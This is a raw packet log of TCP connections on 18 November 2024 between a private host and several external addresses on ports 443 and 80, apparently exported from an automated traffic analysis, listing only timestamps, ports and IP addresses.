Nov 18, 2024 18:21:58.764210939 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.764224052 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.764254093 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.764271975 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.764278889 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.765033007 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.765044928 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.765064001 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.765093088 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.765100956 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.765978098 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.765984058 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.766011953 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.766041994 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.766048908 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.766360998 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.766489983 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.766494989 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.766547918 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.766554117 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.767357111 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.767396927 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.767417908 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.767424107 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.768177032 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.768208027 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.768240929 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.768248081 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.770376921 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.804712057 CET	443	49170	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:58.804776907 CET	443	49170	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:58.804850101 CET	49170	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:58.806541920 CET	49170	443	192.168.2.22	5.45.108.48
Nov 18, 2024 18:21:58.806560993 CET	443	49170	5.45.108.48	192.168.2.22
Nov 18, 2024 18:21:58.808024883 CET	49169	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:58.808423996 CET	49171	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:58.813247919 CET	80	49171	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:58.813347101 CET	80	49169	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:58.813422918 CET	49169	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:58.813433886 CET	49171	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:58.813628912 CET	49171	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:58.818475962 CET	80	49171	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:58.880470037 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.880481958 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.880621910 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.880641937 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.881297112 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.881376982 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.881386042 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.881989002 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.882055044 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.882061958 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.882877111 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.882939100 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.882951975 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.883635998 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.883692026 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.883701086 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.884282112 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.884540081 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.884607077 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.884614944 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.884824991 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.885401964 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.885456085 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.885464907 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.885574102 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.885627031 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.885632992 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.885982037 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.923626900 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:58.923760891 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:58.923780918 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.000833988 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.000906944 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.000929117 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.000969887 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.000984907 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.000991106 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001002073 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001019001 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.001034021 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001044035 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.001053095 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001112938 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001121044 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001156092 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.001167059 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001178980 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001187086 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001229048 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.001236916 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001249075 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001281977 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001297951 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.001305103 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001313925 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001332045 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.001362085 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.001415968 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.002001047 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.002010107 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.002059937 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.002068043 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.041145086 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.041220903 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.041239977 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.115232944 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.115247011 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.115339994 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.115365028 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.115674973 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.115684032 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.115711927 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.115725994 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.115736961 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.115746975 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.115756035 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.115772009 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.115792990 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.115803003 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.116547108 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.116554976 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.116575956 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.116600990 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.116615057 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.117238045 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.117248058 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.117269039 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.117290020 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.117299080 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.117924929 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.117938042 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.117959023 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.117976904 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.117985964 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.118026972 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.118423939 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.118433952 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.118478060 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.118484020 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.118813992 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.118824005 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.118864059 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.118870974 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.119613886 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.119647026 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.119667053 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.119673967 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.122881889 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.124836922 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.231491089 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.231507063 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.231573105 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.231586933 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.231828928 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.231878996 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.231885910 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.232455015 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.232508898 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.232516050 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.232949972 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.233000040 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.233006001 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.233666897 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.233719110 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.233726978 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.234076023 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.234191895 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.234199047 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.234929085 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.235024929 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.235033035 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.235369921 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.235419035 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.235425949 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.235908985 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.235963106 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.235970020 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.247736931 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.277694941 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.277770996 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.277780056 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.349344015 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.349415064 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.349440098 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.349787951 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.349802971 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.349838972 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.349845886 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.349852085 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.349873066 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.350169897 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.350182056 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.350210905 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.350217104 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.350250006 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.350281954 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.350877047 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.350888014 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.350939035 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.350944996 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.351094007 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.351136923 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.351144075 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.351150036 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.351181984 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.351758957 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.351768970 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.351810932 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.351818085 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.352080107 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.352127075 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.352133989 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.352580070 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.352629900 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.352636099 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.352998018 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.353051901 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.353058100 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.353095055 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.353140116 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.353146076 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.353895903 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.466011047 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.466193914 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.466204882 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.467102051 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.467190981 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.467196941 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.467494011 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.467549086 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.467555046 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.467868090 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.467921972 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.467927933 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.468229055 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.468286037 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.468292952 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.468641043 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.468694925 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.468700886 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.468905926 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.468956947 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.468962908 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.469465971 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.469537973 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.469543934 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.469786882 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.469858885 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.469865084 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.470181942 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.470242977 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.470252037 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.470500946 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.470566034 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.470577955 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.492672920 CET	80	49171	107.172.44.178	192.168.2.22
Nov 18, 2024 18:21:59.492820024 CET	49171	80	192.168.2.22	107.172.44.178
Nov 18, 2024 18:21:59.508377075 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.553091049 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.553102970 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.553162098 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.553184986 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.584187984 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.584331036 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.584358931 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.584443092 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.584450006 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.584495068 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.584506989 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.585056067 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.585063934 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.585105896 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.585122108 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.585270882 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.585328102 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.585339069 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.585347891 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.585376978 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.585939884 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.585947990 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.585993052 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.586004972 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.586277962 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.586330891 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.586343050 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.586915970 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.587014914 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.587028027 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.587344885 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.587395906 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.587408066 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.587898970 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.587949038 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.587954998 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.587969065 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.588004112 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.588763952 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.588824987 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.588838100 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.590431929 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.700192928 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.700335979 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.700356007 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.701428890 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.701493025 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.701508045 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.701611042 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.701668024 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.701685905 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.702092886 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.702143908 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.702155113 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.702478886 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.702532053 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.702544928 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.702795029 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.702855110 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.702866077 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.703296900 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.703347921 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.703360081 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.703950882 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.704266071 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.704324007 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.704335928 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.704664946 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.704715014 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.704726934 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.704739094 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.704971075 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.705023050 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.705034018 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.705622911 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.705677032 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.705688000 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.705945969 CET	443	49166	142.215.209.78	192.168.2.22
Nov 18, 2024 18:21:59.705998898 CET	49166	443	192.168.2.22	142.215.209.78
Nov 18, 2024 18:21:59.706011057 CET	443	49166	142.215.209.78	192.168.2.22
